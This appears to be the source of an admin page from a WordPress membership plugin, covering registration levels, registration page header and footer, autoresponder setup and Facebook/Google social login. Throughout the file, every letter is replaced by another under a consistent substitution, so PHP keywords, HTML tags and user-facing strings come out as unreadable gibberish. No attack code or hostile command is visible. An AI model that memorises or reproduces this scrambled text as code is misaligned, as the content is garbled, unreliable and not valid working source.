tFiuBszmy=QplrmUKQplrmU kFulB=QplrmUQumUWqyq BDyr SnyrjbiqxoFmxrsU WQzmUQplrmU nmhuB=QplrmUArsm-nxgB:OPqiUQplrmU /QzmU cFhnQumU/nqFsQzmUQumU/uFEBuQzmUQumU/srEoQzmUY         QumU/mCQzmUY         QumUmC nmhuB=QplrmUqFCCxsz:KqiU kBomxDFu-Fuxzs:txCCuBUQplrmUQzmUQumUF yoBA=QplrmUQumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq;	4(SuBkBu-QzmUuBkBu_yFny)U WQzmUQplrmU mFozBm=QplrmU_EuFsvQplrmUQzmUQumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq;	4(SuBkBu-QzmUuBkBu_yFny)U WQzmUQumU/FQzmUQumU/mCQzmUY         QumUmC Fuxzs=QplrmUuBAmQplrmUQzmUY         QumUsrEoQzmUY            QumUqQzmUY            QumUuFEBuQzmUY            QumUWqyq xA (SuBkBu-QzmUuBkBu_qFzB_oBzxnmBo QFtqUQFtqU (SoBzxnmBo = zBm_qBotFuxsv(xsmkFu(SuBkBu-QzmUuBkBu_qFzB_oBzxnmBo)))): WQzmUY            QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUQumUWqyq BDyr SoBzxnmBoU WQzmUQplrmUQzmUQumUnmorszQzmUfAmBo 	BzxnmoFmxrs:QumU/nmorszQzmUQumU/FQzmUY            QumUWqyq BunB: WQzmUY            fAmBo 	BzxnmoFmxrs:Y            QumUWqyq BsCxAU WQzmUYY            QumUnBuBDm sFtB=QplrmUuBkBu_qFzB_oBzxnmBo[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmUQzmUY            QumUWqyq AroBFDy (SqFzBn Fn SqFzB7C =QzmU SqFzB#xmuB): WQzmUY            QumUrqmxrs kFulB=QplrmUQumUWqyq BDyr SqFzB7CU WQzmUQplrmU QumUWqyq nBuBDmBC(SuBkBu-QzmUuBkBu_qFzB_oBzxnmBo == SqFzB7C)U WQzmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SqFzB#xmuB)U WQzmUQumU/rqmxrsQzmUY            QumUWqyq BsCAroBFDyU WQzmUY            QumU/nBuBDmQzmUY            QumU/uFEBuQzmUY            QumU/qQzmUYY            QumUqQzmUY            QumUuFEBuQzmUY            QumUWqyq xA (SuBkBu-QzmUuBkBu_qFzB_urzxs QFtqUQFtqU (Surzxs = zBm_qBotFuxsv(xsmkFu(SuBkBu-QzmUuBkBu_qFzB_urzxs)))): WQzmUY            QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUQumUWqyq BDyr SurzxsU WQzmUQplrmUQzmUQumUnmorszQzmUfAmBo 4rzxs:QumU/nmorszQzmUQumU/FQzmUY            QumUWqyq BunB: WQzmUY            fAmBo 4rzxs:Y            QumUWqyq BsCxAU WQzmUYY            QumUnBuBDm sFtB=QplrmUuBkBu_qFzB_urzxs[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU nmhuB=QplrmUAurFm:oxzymU DuBFo:oxzymUQplrmUQzmUY            QumUWqyq AroBFDy (SqFzBn Fn SqFzB7C =QzmU SqFzB#xmuB): WQzmUY            QumUrqmxrs kFulB=QplrmUQumUWqyq BDyr SqFzB7CU WQzmUQplrmU QumUWqyq nBuBDmBC(SuBkBu-QzmUuBkBu_qFzB_urzxs == SqFzB7C)U WQzmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SqFzB#xmuB)U WQzmUQumU/rqmxrsQzmUY            QumUWqyq BsCAroBFDyU WQzmUY            QumU/nBuBDmQzmUY            QumU/uFEBuQzmUY            QumU/qQzmUY         QumU/srEoQzmUY         QumU/mCQzmUY      QumU/moQzmUYY      QumUWqyq BsCAroBFDyU WQzmUY      Y      QumU/mErChQzmUY   QumU/mFEuBQzmUYY   QumUqQzmUQumUxsqlm DuFnn=QplrmUElmmrs-qoxtFohQplrmU mhqB=QplrmUnlEtxmQplrmU kFulB=QplrmU$FkB fuu dyFszBnQplrmU rsDuxDv=QplrmUoBmlos tBtEBozBsxln_DrsAxot4BkBun()UQplrmU /QzmU QumUxsqlm DuFnn=QplrmUElmmrsQplrmU mhqB=QplrmUnlEtxmQplrmU kFulB=QplrmUcBuBmB $BuBDmBC 4BkBunQplrmU /QzmUQumU/qQzmUY   QumU/ArotQzmUYY   QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY   QumUV--Y   w&lBoh(AlsDmxrs() {Y      w&lBoh(QplrmU.tBtEBozBsxln_BiqxoBnQplrmU).DuxDv(AlsDmxrs() {Y         w&lBoh(myxn).sBim(QplrmU.tBtEBozBsxln_BiqxoBn_CBmFxuQplrmU).mrzzuB().DyxuCoBs(QplrmU.tBtEBozBsxln_BiqxoFmxrsQplrmU).zBm(P).nBuBDm()UY      })UY   })UY   AlsDmxrs tBtEBozBsxln_DrsAxot4BkBun() {Y      kFo oBnlum = molBUY      w&lBoh(QTPMGU.tBtEBozBsxln_CBuBmBQTPMGU).BFDy(AlsDmxrs(x, rEw) {Y         xA (rEw.DyBDvBC) {Y            oBnlum = DrsAxot(QTPMGUfoB hrl $;	b hrl jFsm mr CBuBmB myB nBuBDmBC uBkBunW\s\s#yxn FDmxrs DFssrm EB lsCrsB.\s\sduxDv 15 mr drsmxslB, ro dFsDBu mr nmrq.QTPMGU)UY            oBmlosUY         }Y      })UY      oBmlos oBnlumUY   }Y   // --QzmUY   QumU/nDoxqmQzmUYY   QumUEo /QzmUYY   QumUyMQzmUfCC F 2Bj 3BtEBonyxq 4BkBuQumU/yMQzmUYY   QumUArot tBmyrC=QplrmUqrnmQplrmUQzmUY   QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUFDmxrsQplrmU kFulB=QplrmUtBtEBozBsxln_FCC_uBkBuQplrmUQzmUYY   QumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:IPPqiUQplrmUQzmUY   QumUmyBFCQzmUY   QumUmoQzmUY   QumUmy nmhuB=QplrmUqFCCxsz:KqiUQplrmUQzmUQFtqUsEnqUQumU/myQzmUY   QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUuxsB-yBxzym:NPqiU jxCmy:NPPqiUQplrmUQzmU3BtEBonyxq 4BkBuQumU/myQzmUY   QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUuxsB-yBxzym:NPqiU jxCmy:OPPqiUQplrmUQzmUQumUsrEoQzmUfDDBnn #r...QumU/srEoQzmUQumU/myQzmUY   QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUuxsB-yBxzym:NPqiUQplrmUQzmU	BzxnmoFmxrs ;	4QumU/myQzmUY   QumU/moQzmUY   QumU/myBFCQzmUYY   QumUmErChQzmUY   QumUmo DuFnn=QplrmUFumBosFmBQplrmU nmhuB=QplrmUyBxzym:KPqiUQplrmUQzmUY      QumUmC nmhuB=QplrmUqFCCxsz:KqiU kBomxDFu-Fuxzs:txCCuBUQplrmUQzmUQFtqUsEnqUQumU/mCQzmUY      QumUmC nmhuB=QplrmUqFCCxsz:KqiU kBomxDFu-Fuxzs:txCCuBUQplrmUQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUtBtEBozBsxln_sBj[sFtB]QplrmU nxgB=QplrmUNPQplrmU quFDByruCBo=QplrmU2Bj 4BkBu 2FtBQplrmUQzmUQumU/mCQzmUY      QumUmC nmhuB=QplrmUqFCCxsz:KqiU kBomxDFu-Fuxzs:txCCuBUQplrmUQzmUY         QumUsrEoQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU sFtB=QplrmUtBtEBozBsxln_sBj[Fuu]QplrmU DyBDvBC=QplrmUDyBDvBCQplrmU /QzmU fuu 0rnmn QFtqUFtqU 0FzBnQumU/uFEBuQzmUQumU/srEoQzmUQumUEo /QzmUY         QumUsrEoQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU sFtB=QplrmUtBtEBozBsxln_sBj[DrttBsmn]QplrmU DyBDvBC=QplrmUDyBDvBCQplrmU /QzmU ?oxmB drttBsmnQumU/uFEBuQzmUQumU/srEoQzmUY      QumU/mCQzmUY      QumUmC nmhuB=QplrmUqFCCxsz:KqiU kBomxDFu-Fuxzs:txCCuBUQplrmUQzmUQumUsrEoQzmUQumUuFEBuQzmUQumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq;	4()U WQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU nxgB=QplrmUHQplrmU sFtB=QplrmUtBtEBozBsxln_sBj[yFny]QplrmU kFulB=QplrmUQumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUyFny()U WQzmUQplrmU nxgB=QplrmUJQplrmUQzmUQumU/uFEBuQzmUQumU/srEoQzmUQumU/mCQzmUY   QumU/moQzmUYQumU/mErChQzmUYQumU/mFEuBQzmUYY      QumUqQzmUQumUxsqlm DuFnn=QplrmUElmmrs-qoxtFohQplrmU mhqB=QplrmUnlEtxmQplrmU kFulB=QplrmUfCC 2Bj 4BkBuQplrmU /QzmUQumU/qQzmUYY      QumU/CxkQzmUY      QumUWqyqY } qlEuxD AlsDmxrs tBsl_uBkBun_oBzxnmoFmxrs() { zurEFu StBtEBozBsxlnU SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U SDlooBsm4BkBu = -OU SuBkBu2FtB = QplrmUQplrmUU SAro4BkBu = QplrmUfuu 4BkBunQplrmUU xA (xnnBm(S_	b&;b$#[QplrmUuQplrmU])) { SDlooBsm4BkBu = S_	b&;b$#[QplrmUuQplrmU]U xA (xnnBm(SuBkBun[SDlooBsm4BkBu])) { SuBkBu = SuBkBun[SDlooBsm4BkBu]U SuBkBu2FtB = SuBkBu-QzmUuBkBu_sFtBU SAro4BkBu = QTPMGUQumUF yoBA=QplrmUQTPMGU.StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq;	4(SuBkBu-QzmUuBkBu_yFny).QTPMGUQplrmUQzmUQTPMGU.ymtuBsmxmxBn(SuBkBu2FtB) . QplrmU 4BkBuQplrmU.QTPMGUQumU/FQzmUQTPMGUU } } SnFkB = sluuU xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nFkBQplrmU])) { SnFkB = xsmkFu(S_01$#[QplrmUtBtEBozBsxln_nFkBQplrmU])U } xA (SnFkB V== sluu QFtqUQFtqU xnnBm(S_01$#[QplrmUtBtEBozBsxln_oBzxnmoFmxrs_yBFCBoQplrmU])) { SyBFCBo = nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_oBzxnmoFmxrs_yBFCBoQplrmU])U xA (VSyBFCBo || SyBFCBo == QplrmUQplrmU) { StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SnFkB, QplrmUyBFCBoQplrmU, sluu)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SnFkB, QplrmUyBFCBoQplrmU, SyBFCBo)U } } xA (SnFkB V== sluu QFtqUQFtqU xnnBm(S_01$#[QplrmUtBtEBozBsxln_oBzxnmoFmxrs_ArrmBoQplrmU])) { SArrmBo = nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_oBzxnmoFmxrs_ArrmBoQplrmU])U xA (VSArrmBo || SArrmBo == QplrmUQplrmU) { StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SnFkB, QplrmUArrmBoQplrmU, sluu)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SnFkB, QplrmUArrmBoQplrmU, SArrmBo)U } } SyBFCBo = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SDlooBsm4BkBu, QplrmUyBFCBoQplrmU)U SArrmBo = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SDlooBsm4BkBu, QplrmUArrmBoQplrmU)U WQzmUY      QumUyMQzmU	BzxnmoFmxrs 0FzBQumU/yMQzmUYY      QumUqQzmUdlnmrtxgB myB urrv FsC ABBu rA myB oBzxnmoFmxrs qFzBn Aro BFDy uBkBu (myB nDoBBs qBrquB nBB FAmBo myB qFh, FsC FoB Axuuxsz xs myBxo FDDrlsm CBmFxun).QumU/qQzmUYY      QumUqQzmU7m xn yxzyuh oBDrttBsCBC hrl quFDB F aFDBErrv oBmFozBmxsz qxiBu (Dlnmrt jBEnxmB FlCxBsDB) ro moFDvxsz DrskBonxrs qxiBu xs myB QFtqUplrmUArrmBoQFtqUplrmU nBDmxrs Aro myB FqqorqoxFmB uBkBu.QumU/qQzmUYY      QumUArot tBmyrC=QplrmU01$#QplrmUQzmUYY      QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_nFkBQplrmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SDlooBsm4BkBu)U WQzmUQplrmU /QzmUYY      QumUqQzmUY      QumUEQzmUeorjnB 4BkBu:QumU/EQzmU Y      QumUF QumUWqyq xA (-O == SDlooBsm4BkBu): WQzmUnmhuB=QplrmUArsm-jBxzym:EruCUQplrmUQumUWqyq BsCxAU WQzmUyoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUuBkBunQplrmU) . QplrmUQFtqUtBtEBozBsxln_FDmxrs=oBzxnmoFmxrsQFtqUu=-OQplrmUU WQzmUQumUWqyq xA (xnnBm(S_9b#[QplrmUrQplrmU])): WQzmUQFtqUr=QumUWqyq BDyr ymtuBsmxmxBn(S_9b#[QplrmUrQplrmU])U WQzmUQumUWqyq BsCxAU WQzmUQplrmUQzmUfuu 3BtEBon (QumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBodrlsm()U WQzmU)QumU/FQzmU QFtqUsEnqUQFtqUsEnqUY      QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY      QumUF QumUWqyq xA (xn_sltBoxD(SDlooBsm4BkBu) QFtqUQFtqU SuBkBu-QzmU7c == SDlooBsm4BkBu): WQzmUnmhuB=QplrmUArsm-jBxzym:EruCUQplrmUQumUWqyq BsCxAU WQzmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUuBkBunQplrmU) . QplrmUQFtqUtBtEBozBsxln_FDmxrs=oBzxnmoFmxrsQFtqUu=QplrmU.xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmU (QumUWqyq BDyr xsmkFu(SuBkBu-QzmUFDmxkB)U WQzmU)QumU/FQzmU QFtqUsEnqUQFtqUsEnqUY      QumUWqyq BsCAroBFDyU WQzmUY      QumU/qQzmUYY      QumUqQzmUQumUEQzmU	BzxnmoFmxrs 0FzB 8BFCBo Aro QumUWqyq BDyr SAro4BkBuU WQzmU:QumU/EQzmUQumUEo QzmUY      QumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_oBzxnmoFmxrs_yBFCBoQplrmU DuFnn=QplrmUDrCBQplrmU Drun=QplrmUONPQplrmU orjn=QplrmUHQplrmU nmhuB=QplrmUArsm-nxgB:OPqiUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SyBFCBo)U WQzmUQumU/mBimFoBFQzmUQumU/qQzmUYY      QumUqQzmUQumUEQzmU	BzxnmoFmxrs 0FzB arrmBo Aro QumUWqyq BDyr SAro4BkBuU WQzmU:QumU/EQzmUQumUEo QzmUY      QumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_oBzxnmoFmxrs_ArrmBoQplrmU DuFnn=QplrmUDrCBQplrmU Drun=QplrmUONPQplrmU orjn=QplrmUHQplrmU nmhuB=QplrmUArsm-nxgB:OPqiUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SArrmBo)U WQzmUQumU/mBimFoBFQzmUQumU/qQzmUYY      QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU$FkB fuu dyFszBnQplrmUQzmUQumU/qQzmUY      QumU/ArotQzmUY      QumUWqyqY } qlEuxD AlsDmxrs tBsl_FlmroBnqrsCBo() { zurEFu StBtEBozBsxlnU SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U SDlooBsm4BkBu = -OU xA (xnnBm(S_	b&;b$#[QplrmUuQplrmU])) { SDlooBsm4BkBu = xsmkFu(S_	b&;b$#[QplrmUuQplrmU])U } SuBkBu7sAr = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu(SDlooBsm4BkBu)U SnFkB4BkBu = sluuU xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nFkBQplrmU])) { SnFkB4BkBu = xsmkFu(S_01$#[QplrmUtBtEBozBsxln_nFkBQplrmU])U StBtEBozBsxln-QzmUtrCBu-QzmUnBmflmroBnqrsCBo( SnFkB4BkBu, S_01$#[QplrmUtBtEBozBsxln_DrCBQplrmU], S_01$#[QplrmUtBtEBozBsxln_BtFxuQplrmU], S_01$#[QplrmUtBtEBozBsxln_AxonmsFtBQplrmU], S_01$#[QplrmUtBtEBozBsxln_uFnmsFtBQplrmU] )U } SDrCB = QplrmUQplrmUU SBtFxu = QplrmUQplrmUU SAxonmsFtB = QplrmUQplrmUU SuFnmsFtB = QplrmUQplrmUU xA (SFlmroBnqrsCBo = StBtEBozBsxln-QzmUtrCBu-QzmUzBmflmroBnqrsCBo(SDlooBsm4BkBu)) { SDrCB = SFlmroBnqrsCBo[QplrmUDrCBQplrmU]U SBtFxu = SFlmroBnqrsCBo[QplrmUBtFxuQplrmU]U SAxonmsFtB = SFlmroBnqrsCBo[QplrmUAxonmsFtBQplrmU]U SuFnmsFtB = SFlmroBnqrsCBo[QplrmUuFnmsFtBQplrmU]U } SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U SlnBoaxonm = QplrmUQplrmUU SlnBo4Fnm = QplrmUQplrmUU SlnBobtFxu = QplrmUQplrmUU xA (xnnBm(SDlooBsm_lnBo-QzmUlnBo_AxonmsFtB)) { SlnBoaxonm = SDlooBsm_lnBo-QzmUlnBo_AxonmsFtBU } xA (xnnBm(SDlooBsm_lnBo-QzmUlnBo_uFnmsFtB)) { SlnBo4Fnm = SDlooBsm_lnBo-QzmUlnBo_uFnmsFtBU } xA (xnnBm(SDlooBsm_lnBo-QzmUlnBo_BtFxu)) { SlnBobtFxu = SDlooBsm_lnBo-QzmUlnBo_BtFxuU } WQzmUY      QumUCxk DuFnn=QplrmUjoFqQplrmU nmhuB=QplrmUDuBFo:ErmyUQplrmUQzmUY      QumUWqyq Smyxn-QzmUtBsl_yBFCBo(QplrmUflmroBnqrsCBoQplrmU)U WQzmUYY      QumUyMQzmU3FsFzB flmroBnqrsCBoQumU/yMQzmUY      Y      QumUqQzmU;nB myxn nBDmxrs mr Flmr-nlEnDoxEB hrlo sBj tBtEBon mr hrlo tFxuxsz uxnm jyBs myBh wrxs F uBkBu.QumU/qQzmUY      Y      QumUqQzmU?B oBDrttBsC QumUF yoBA=QplrmUymmq://jjj.FjBEBo.DrtQplrmUQzmUfjBEBoQumU/FQzmU Aro Fs FlmroBnqrsCBo nrulmxrs.QumU/qQzmUYY      QumUArot tBmyrC=QplrmUqrnmQplrmUQzmUYY      QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_nFkBQplrmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SDlooBsm4BkBu)U WQzmUQplrmU /QzmUYY      QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUBtFxu_nmroBCQplrmU xC=QplrmUBtFxu_nmroBCQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SBtFxu)U WQzmUQplrmU /QzmUY      QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUAxonmsFtB_nmroBCQplrmU xC=QplrmUAxonmsFtB_nmroBCQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SAxonmsFtB)U WQzmUQplrmU /QzmUY      QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUuFnmsFtB_nmroBCQplrmU xC=QplrmUuFnmsFtB_nmroBCQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SuFnmsFtB)U WQzmUQplrmU /QzmUYY      QumUqQzmU$BuBDm 4BkBu: QumUnBuBDm sFtB=QplrmUuQplrmU rsDyFszB=QplrmUmyxn.Arot.nlEtxm()QplrmUQzmUY         QumUrqmxrs kFulB=QplrmU-OQplrmU QumUWqyq xA (SDlooBsm4BkBu === sluu || SDlooBsm4BkBu == -O): WQzmUnBuBDmBC=QplrmUnBuBDmBCQplrmUQumUWqyq BsCxAU WQzmUQzmU4BkBun...QumU/rqmxrsQzmUY      QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY         QumUrqmxrs QumUWqyq xA (SuBkBu-QzmU7c == SDlooBsm4BkBu): WQzmUnBuBDmBC=QplrmUnBuBDmBCQplrmUQumUWqyq BsCxAU WQzmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/rqmxrsQzmUY      QumUWqyq BsCAroBFDyU WQzmUY      QumU/nBuBDmQzmUQumUxsqlm DuFnn=QplrmUElmmrs-qoxtFohQplrmU mhqB=QplrmUnlEtxmQplrmU kFulB=QplrmU$Bmlq flmroBnqrsCBo Aro 4BkBuQplrmU /QzmUQumU/qQzmUYY      QumUWqyq xA (SDlooBsm4BkBu QzmU -O): WQzmUY      QumUqQzmU0FnmB xs flmroBnqrsCBo $xzslq drCB: QumUnqFs nmhuB=QplrmUEFDvzorlsC-Druro:hBuurjU Arsm-jBxzym:EruCUQplrmUQzmU(8#34 DrCB rsuh, Cr srm BsmBo 6FkF$Doxqm DrCB)QumU/nqFsQzmUQumU/qQzmUYY      QumUqQzmUQumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_DrCBQplrmU xC=QplrmUtBtEBozBsxln_DrCBQplrmU DuFnn=QplrmUDrCBQplrmU Drun=QplrmUOPPQplrmU orjn=QplrmUOPQplrmU rsDyFszB=QplrmUFnnxzscorqCrjs()QplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SDrCB)U WQzmUQumU/mBimFoBFQzmUQumU/qQzmUYY      QumUqQzmUY      QumUnBuBDm sFtB=QplrmUtBtEBozBsxln_BtFxuQplrmU xC=QplrmUtBtEBozBsxln_BtFxuQplrmUQzmUY      QumUrqmxrs kFulB=QplrmU-QplrmUQzmU--- btFxu fCCoBnn axBuC (rqmxrsFu) ---QumU/rqmxrsQzmUY      QumU/nBuBDmQzmUYY      QumUnBuBDm sFtB=QplrmUtBtEBozBsxln_AxonmsFtBQplrmU xC=QplrmUtBtEBozBsxln_AxonmsFtBQplrmUQzmUY      QumUrqmxrs kFulB=QplrmU-QplrmUQzmU--- axonm 2FtB axBuC ---QumU/rqmxrsQzmUY      QumU/nBuBDmQzmUYY      QumUnBuBDm sFtB=QplrmUtBtEBozBsxln_uFnmsFtBQplrmU xC=QplrmUtBtEBozBsxln_uFnmsFtBQplrmUQzmUY      QumUrqmxrs kFulB=QplrmU-QplrmUQzmU--- 4Fnm 2FtB axBuC (rqmxrsFu) ---QumU/rqmxrsQzmUY      QumU/nBuBDmQzmUYY      QumU/qQzmUYY      QumUqQzmUQumUxsqlm DuFnn=QplrmUElmmrs-qoxtFohQplrmU mhqB=QplrmUnlEtxmQplrmU kFulB=QplrmU$FkB fuu dyFszBnQplrmU /QzmUQumU/qQzmUY      QumUWqyq BsCxAU WQzmUYY      QumU/ArotQzmUYY      QumUV-- xtqromFsm: qFonB FoBF xn rlmnxCB rlo Arot --QzmUY      QumUCxk xC=QplrmUtBtEBozBsxln_qFonBQplrmU nmhuB=QplrmUCxnquFh:srsBUQplrmUQzmUQumU/CxkQzmUYY      QumUWqyq xA (SDlooBsm4BkBu QzmU -O): WQzmUY      QumUWqyq Smyxn-QzmUtBsl_FlmroBnqrsCBo_wFkFnDoxqm()U WQzmUY      QumUyN nmhuB=QplrmUArsm-nxgB:OHqiUQplrmUQzmU!BoxAh flmroBnqrsCBoQumU/yNQzmUYY      QumUqQzmUcrlEuB DyBDv myFm hrlo FlmroBnqrsCBo xn DrooBDmuh nBsCxsz uBFCn mr hrlo BtFxu nBsCxsz nBokxDB.QumU/qQzmUYY      QumUArot tBmyrC=QplrmU9b#QplrmU rsnlEtxm=QplrmUkBoxAharot(myxn.BtFxu.kFulB, myxn.AxonmsFtB.kFulB, myxn.uFnmsFtB.kFulB)U oBmlos AFunBUQplrmUQzmUY      QumUuFEBuQzmUaxonm 2FtB: QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUAxonmsFtBQplrmU nxgB=QplrmUOHQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SlnBoaxonm)U WQzmUQplrmU /QzmUQumU/uFEBuQzmUQumUEo /QzmUY      QumUuFEBuQzmU4Fnm 2FtB: QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUuFnmsFtBQplrmU nxgB=QplrmUOHQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SlnBo4Fnm)U WQzmUQplrmU /QzmUQumU/uFEBuQzmUQumUEo /QzmUY      QumUuFEBuQzmUbtFxu: QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUBtFxuQplrmU nxgB=QplrmULPQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SlnBobtFxu)U WQzmUQplrmU /QzmUQumU/uFEBuQzmUQumUEo /QzmUY      QumUxsqlm mhqB=QplrmUnlEtxmQplrmU kFulB=QplrmU#Bnm flmroBnqrsCBoQplrmU DuFnn=QplrmUElmmrs-nBDrsCFohQplrmU /QzmU (qrqlq rqBsn xs F sBj jxsCrj)Y      QumU/ArotQzmUY      QumUWqyq BsCxAU WQzmUY      QumU/CxkQzmUY      QumUWqyqY } qlEuxD AlsDmxrs tBsl_nrDxFu() { zurEFu StBtEBozBsxlnU SAFDBErrv_BsFEuBC = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_BsFEuBCQplrmU)==OU SzrrzuB_BsFEuBC = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_BsFEuBCQplrmU)==OU SnrDxFu_nBuBDmxrs = sluuU xA (xnnBm(S_01$#[QplrmUnrDxFuQplrmU])) { SnrDxFu_nBuBDmxrs = S_01$#[QplrmUnrDxFuQplrmU]U } xA (VSnrDxFu_nBuBDmxrs) { SnrDxFu_nBuBDmxrs = QplrmUAFDBErrvQplrmUU } WQzmUY      QumUCxk DuFnn=QplrmUjoFqQplrmU nmhuB=QplrmUDuBFo:ErmyUQplrmUQzmUY      QumUWqyq Smyxn-QzmUtBsl_yBFCBo(QplrmU$rDxFuQplrmU)U WQzmUY      Y      QumUyMQzmU$rDxFu 4rzxs QumUF yoBA=QplrmUTQplrmU rsDuxDv=QplrmUoBmlos tBtEBozBsxln_kxCBr(myxn, QTPMGUiw7zO$BzepzQTPMGU)UQplrmUQzmU(jFmDy kxCBr xsnmolDmxrsn)QumU/FQzmUQumU/yMQzmUYY      QumUArot tBmyrC=QplrmU01$#QplrmUQzmUY      QumUqQzmUfuurj qBrquB mr urzxs mr hrlo tBtEBonyxq nxmB lnxsz aFDBErrv ro 9rrzuB 0uln.QumU/qQzmUYY      QumUqQzmUQumUuFEBuQzmUdyrrnB $rDxFu 2Bmjrov: Y      QumUnBuBDm sFtB=QplrmUnrDxFuQplrmU rsDyFszB=QplrmUmyxn.Arot.nlEtxm()UQplrmUQzmUY      QumUrqmxrs kFulB=QplrmUAFDBErrvQplrmU QumUWqyq nBuBDmBC(SnrDxFu_nBuBDmxrs==QplrmUAFDBErrvQplrmU)U WQzmUQzmUaFDBErrvQumUWqyq xA (SAFDBErrv_BsFEuBC): WQzmU (BsFEuBC)QumUWqyq BsCxAU WQzmUQumU/rqmxrsQzmUY      QumUrqmxrs kFulB=QplrmUzrrzuBQplrmU QumUWqyq nBuBDmBC(SnrDxFu_nBuBDmxrs==QplrmUzrrzuBQplrmU)U WQzmUQzmU9rrzuBQumUWqyq xA (SzrrzuB_BsFEuBC): WQzmU (BsFEuBC)QumUWqyq BsCxAU WQzmUQumU/rqmxrsQzmUY      QumU/nBuBDmQzmUY      QumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU$BuBDm $rDxFu 2BmjrovQplrmU /QzmUY      QumU/uFEBuQzmUY      QumU/qQzmUYY      QumUWqyqY xA (SnrDxFu_nBuBDmxrs == QplrmUAFDBErrvQplrmU) { Smyxn-QzmUtBsl_nrDxFu_AFDBErrv()U } BunBxA (SnrDxFu_nBuBDmxrs == QplrmUzrrzuBQplrmU) { Smyxn-QzmUtBsl_nrDxFu_zrrzuB()U } WQzmUYY      QumU/ArotQzmUY      QumU/CxkQzmUY      QumUWqyqY Smyxn-QzmUwFkFnDoxqm()U } AlsDmxrs tBsl_nrDxFu_AFDBErrv() { zurEFu StBtEBozBsxlnU xA 